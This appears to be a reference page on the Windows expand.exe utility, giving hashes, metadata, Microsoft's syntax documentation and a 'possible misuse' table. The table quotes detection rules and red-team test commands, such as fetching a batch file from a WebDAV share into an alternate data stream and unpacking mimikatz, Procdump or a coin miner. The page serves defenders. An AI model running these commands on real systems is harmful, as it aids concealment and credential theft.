expand.exe

  • File Path: C:\windows\system32\expand.exe
  • Description: LZ Expansion Utility

Hashes

Type Hash
MD5 E46CDE2B20C7CA09D7D882DFDCD2C941
SHA1 164AC3D4080FD3EDAA0986707D55F5F2D4A0B3CE
SHA256 08F770E31AE7BC785959E1DFE7D50008D828C2A470379F69EB613192A25F3B2D
SHA384 BA685E396CAD67AC33519C812AA2F99180DD262D252BB23A4A3943434CC2949468A61CA7F863D2EDE6073AE1621C6853
SHA512 48962518AEB1DFBA470D3143A4CE8850C478099714C0A6245EE4BA97EC51942D802AE4D05C7AFFB2785329966F69D58AEC2EA0E5AFDF378854970F593F294B3C
SSDEEP 768:xiaHljpoFlWx391GGN5Cvsh8Zf+rTdKdlQbQKtBI7qWnBGZEJhQwa4WOGScQymXz:Bf7O1TEdf5BLWYZEtJW+7Ked96KFf

Signature

  • Status: The file C:\windows\system32\expand.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
  • Serial: ``
  • Thumbprint: ``
  • Issuer:
  • Subject:

File Metadata

  • Original Filename: expand
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
  • Product Version: 6.3.9600.16384
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

File Similarity (ssdeep match)

File Score
C:\windows\system32\CertEnrollCtrl.exe 32
C:\windows\system32\MuiUnattend.exe 27
C:\windows\system32\tzutil.exe 33

Possible Misuse

The following table contains possible examples of expand.exe being misused. While expand.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma sysmon_suspicious_remote_thread.yml - '\expand.exe' DRL 1.0
sigma posh_pm_decompress_commands.yml Payload\|contains: 'Expand-Archive' DRL 1.0
sigma proc_creation_win_expand_cabinet_files.yml description: Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack DRL 1.0
sigma proc_creation_win_expand_cabinet_files.yml - '\expand.exe' DRL 1.0
LOLBAS Expand.yml Name: Expand.exe  
LOLBAS Expand.yml - Command: expand \\webdav\folder\file.bat c:\ADS\file.bat  
LOLBAS Expand.yml - Command: expand c:\ADS\file1.bat c:\ADS\file2.bat  
LOLBAS Expand.yml - Command: expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat  
LOLBAS Expand.yml - Path: C:\Windows\System32\Expand.exe  
LOLBAS Expand.yml - Path: C:\Windows\SysWOW64\Expand.exe  
atomic-red-team T1003.001.md Expand-Archive $zippath $parentpath\wce -Force MIT License. © 2018 Red Canary
atomic-red-team T1003.001.md Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force MIT License. © 2018 Red Canary
atomic-red-team T1003.001.md Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force MIT License. © 2018 Red Canary
atomic-red-team T1003.004.md Expand-Archive $env:TEMP\PSTools.zip $env:TEMP\PSTools -Force MIT License. © 2018 Red Canary
atomic-red-team T1003.006.md Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force MIT License. © 2018 Red Canary
atomic-red-team T1021.001.md Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence.(Citation: Alperovitch Malware)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1021.002.md Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force MIT License. © 2018 Red Canary
atomic-red-team T1027.md Expand-Archive -path “$env:temp\T1027.zip” -DestinationPath “$env:temp\temp_T1027.zip" -Force MIT License. © 2018 Red Canary
atomic-red-team T1036.md Expand-Archive -Path $env:userprofile\Downloads\T1036.zip -DestinationPath $env:userprofile\Downloads\T1036 -Force MIT License. © 2018 Red Canary
atomic-red-team T1048.002.md Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl MIT License. © 2018 Red Canary
atomic-red-team T1055.md Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force MIT License. © 2018 Red Canary
atomic-red-team T1055.md Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force MIT License. © 2018 Red Canary
atomic-red-team T1055.012.md $ppid=Get-Process #{parent_process_name} | select -expand id MIT License. © 2018 Red Canary
atomic-red-team T1071.001.md Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl MIT License. © 2018 Red Canary
atomic-red-team T1090.003.md expand-archive -LiteralPath “$env:temp\tor.zip” -DestinationPath “$env:temp\tor” MIT License. © 2018 Red Canary
atomic-red-team T1095.md Expand-Archive $zippath $parentpath -Force MIT License. © 2018 Red Canary
atomic-red-team T1105.md Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl MIT License. © 2018 Red Canary
atomic-red-team T1134.004.md $ppid=Get-Process #{parent_process_name} | select -expand id MIT License. © 2018 Red Canary
atomic-red-team T1207.md Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force MIT License. © 2018 Red Canary
atomic-red-team T1207.md Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force MIT License. © 2018 Red Canary
atomic-red-team T1485.md Expand-Archive $env:TEMP\SDelete.zip $env:TEMP\Sdelete -Force MIT License. © 2018 Red Canary
atomic-red-team T1548.002.md Expand-Archive $env:TEMP\uacme.zip $env:TEMP\uacme -Force MIT License. © 2018 Red Canary
atomic-red-team T1550.002.md Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force MIT License. © 2018 Red Canary
atomic-red-team T1550.003.md Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force MIT License. © 2018 Red Canary
atomic-red-team T1550.003.md Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force MIT License. © 2018 Red Canary
atomic-red-team T1555.003.md After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary’s objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1555.003.md Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force MIT License. © 2018 Red Canary
atomic-red-team T1558.001.md $domain = gwmi Win32_ComputerSystem | Select -Expand Domain MIT License. © 2018 Red Canary
atomic-red-team T1558.001.md Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md Expand-Archive $env:TEMP\Sysmon.zip $env:TEMP\Sysmon -Force MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md expand-archive -LiteralPath “$env:temp\defendercontrol.zip” -DestinationPath “$env:temp\DefenderControl” MIT License. © 2018 Red Canary
atomic-red-team T1564.004.md expand \webdav\folder\file.bat #{path}\file.txt:file.bat MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force MIT License. © 2018 Red Canary
atomic-red-team T1588.002.md Expand-Archive $env:temp\AdvancedRun.zip #{local_folder} -Force MIT License. © 2018 Red Canary
signature-base apt_op_honeybee.yar $x1 = “cmd /c expand %TEMP%\setup.cab -F:* %SystemRoot%\System32” CC BY-NC 4.0
signature-base gen_pirpi.yar $x1 = “expand.exe1.gif” fullword ascii CC BY-NC 4.0
signature-base gen_pirpi.yar $c1 = “expand.exe” fullword ascii CC BY-NC 4.0
stockpile cc191baa-7472-4386-a2f4-42f203f1acfd.yml Expand-Archive -LiteralPath $download_folder"PSTools.zip" -DestinationPath $staging_folder; Apache-2.0
stockpile 0ef4cc7b-611c-4237-b20b-db36b6906554.yml Expand-Archive -LiteralPath $download_folder"Procdump.zip" -DestinationPath $staging_folder; Apache-2.0
stockpile 46da2385-cf37-49cb-ba4b-a739c7a19de4.yml Expand-Archive -LiteralPath xmrig-6.11.2-msvc-win64.zip -DestinationPath .\; Apache-2.0

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.


expand

Applies to: Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012

Expands one or more compressed files. You can also use this command to retrieve compressed files from distribution disks.

The expand command can also run from the Windows Recovery Console, using different parameters. For more information, see Windows Recovery Environment (WinRE).

Syntax

expand [/r] <source> <destination>
expand /r <source> [<destination>]
expand /i <source> [<destination>]
expand /d <source>.cab [/f:<files>]
expand <source>.cab /f:<files> <destination>

Parameters

Parameter Description
/r Renames expanded files.
source Specifies the files to expand. Source can consist of a drive letter and colon, a directory name, a file name, or a combination of these. You can use wildcards (* or ?).
destination Specifies where files are to be expanded.<p>If source consists of multiple files and you don’t specify /r, the destination must be a directory. Destination can consist of a drive letter and colon, a directory name, a file name, or a combination of these. Destination file | path specification.
/i Renames expanded files but ignores the directory structure.
/d Displays a list of files in the source location. Doesn’t expand or extract the files.
/f:<files> Specifies the files in a cabinet (.cab) file that you want to expand. You can use wildcards (* or ?).
/? Displays help at the command prompt.

Additional References


MIT License. Copyright (c) 2020-2021 Strontic.